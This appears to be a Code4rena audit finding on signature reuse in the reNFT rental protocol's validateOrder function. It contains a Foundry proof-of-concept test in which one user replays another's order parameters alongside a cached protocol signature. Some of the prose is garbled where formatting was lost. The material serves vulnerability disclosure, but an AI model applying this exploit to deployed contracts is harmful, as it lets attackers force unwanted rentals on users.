Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 58/116
Findings: 1
Award: $45.31
🌟 Selected for report: 0
🚀 Solo Findings: 0
45.3128 USDC - $45.31
CREATE_SIGNER's signature will be reused leading to malicious behaviour
In the function validateOrder there is no way to verify whether the signature from backend signer is being reused / more importantly no way to verify that this signature was signed to rent out this particular order. This can lead to a complex attack vectors where attacker can execute orders not supposed to be executed.
function validateOrder( ZoneParameters calldata zoneParams ) external override onlyRole("SEAPORT") returns (bytes4 validOrderMagicValue) { .... // Check: The signature from the protocol signer has not expired. _validateProtocolSignatureExpiration(payload.expiration); // Check: The fulfiller is the intended fulfiller. _validateFulfiller(payload.intendedFulfiller, seaportPayload.fulfiller); // Recover the signer from the payload. address signer = _recoverSignerFromPayload( _deriveRentPayloadHash(payload), signature ///@audit < no way to verify if sig reused ); // Check: The data matches the signature and that the protocol signer is the one that signed. if (!kernel.hasRole(signer, toRole("CREATE_SIGNER"))) { revert Errors.CreatePolicy_UnauthorizedCreatePolicySigner(); } ..... }
Let's run through an example to understand better.
erc1155
's id 0 tokens, now she want to put them on rent for 10 days for 10 usdcseaport.fulfillAdvancedOrder
from reNFT website but twist is he is only doing that to gain access to the AdvancedOrder struct of alice's order.// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { Order, FulfillmentComponent, Fulfillment, ItemType as SeaportItemType, AdvancedOrder, CriteriaResolver } from "@seaport-types/lib/ConsiderationStructs.sol"; import {Errors} from "@src/libraries/Errors.sol"; import {OrderType, OrderMetadata, RentalOrder,RentPayload} from "@src/libraries/RentalStructs.sol"; import {BaseTest} from "@test/BaseTest.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; import {BaseProtocol} from "@test/fixtures/protocol/BaseProtocol.sol"; contract TestRent is BaseTest { function test_Deactivation_Policy() public { } function test_Rent_1155_sig1() public { createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 0, erc1155Offers: 1, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); // finalize the order creation ( Order memory order1, bytes32 orderHash1, OrderMetadata memory metadata1 ) = finalizeOrder(); vm.warp(block.timestamp+50); // bob sees alice rental on the frontend and takes a note of rentDuration // and whatever else properties displayed on frontend. // Now for unkown reasons alice decide to request cancellation of her rental // and the backendSigner is now not signing alice's fulfillment orders for this order. createOrder({ offerer: bob, orderType: OrderType.BASE, erc721Offers: 0, erc1155Offers: 1, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); emit log_named_uint("bob balance", erc1155s[0].balanceOf(bob.addr,1)); // bob creates a dummy order between his accounts and sets // the same metadata as alice's order ( Order memory order2, bytes32 orderHash2, OrderMetadata memory metadata2 ) = finalizeOrder(); // carol fulfilles the order, bob can be carol. createOrderFulfillment({ _fulfiller: carol, order: order2, orderHash: orderHash2, metadata: metadata2 }); AdvancedOrder memory cachedAdvancedOrder2 = ordersToFulfill[0].advancedOrder; // (,bytes memory cachedSig) = abi.decode(cachedAdvancedOrder2.extraData,(RentPayload,bytes)); { RentalOrder memory rentalOrder2 = finalizeBaseOrderFulfillment(); } AdvancedOrder memory forgedAdvancedOrder = cachedAdvancedOrder2; // now bob puts in alice's order's credentials but with his order's `extraData` // there are many way bob can figure out alice's order crendentials(metadata), a simple way would be // to revoke permissions to the conduit but try calling `seaport.fulfillAdvancedOrder` before alice cancelled her order // this way his txn will revert but he will have alice's order's advancedOrder struct. // he can just save those details to harass alice later on. forgedAdvancedOrder.signature = order1.signature; forgedAdvancedOrder.parameters = order1.parameters; erc20s[0].mint(carol.addr,10000); assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(100)); vm.startPrank(carol.addr); seaport.fulfillAdvancedOrder(forgedAdvancedOrder, new CriteriaResolver[](0), conduitKey, address(carol.safe)); vm.stopPrank(); // this way bob bypassed any backend checks and forged a new valid signature // from the CREATE_SIGNER role. // this forged signature can be used to harass users in the above shown way. // assert that a payment was made to the escrow contract assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(200)); // assert that a payment was synced properly in the escrow contract assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(200)); // assert that the ERC1155 is in the rental wallet of the fulfiller assertEq(erc1155s[0].balanceOf(address(carol.safe), 0), uint256(100)); // assert that the ERC1155 is in the rental wallet of the fulfiller assertEq(erc1155s[0].balanceOf(address(carol.safe), 1), uint256(100)); // assert that the ERC1155 is in the rental wallet of the fulfiller assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), uint256(0)); } }
The bug occurs due to 2 reasons ,
Manual Review
Invalid Validation
#0 - c4-pre-sort
2024-01-21T17:52:29Z
141345 marked the issue as duplicate of #179
#1 - c4-pre-sort
2024-01-21T17:53:44Z
141345 marked the issue as duplicate of #239
#2 - c4-judge
2024-01-28T20:50:03Z
0xean changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-01-28T21:05:40Z
0xean marked the issue as satisfactory
#4 - c4-pre-sort
2024-02-02T08:40:18Z
141345 marked the issue as not a duplicate
#5 - c4-pre-sort
2024-02-02T08:40:48Z
141345 marked the issue as duplicate of #162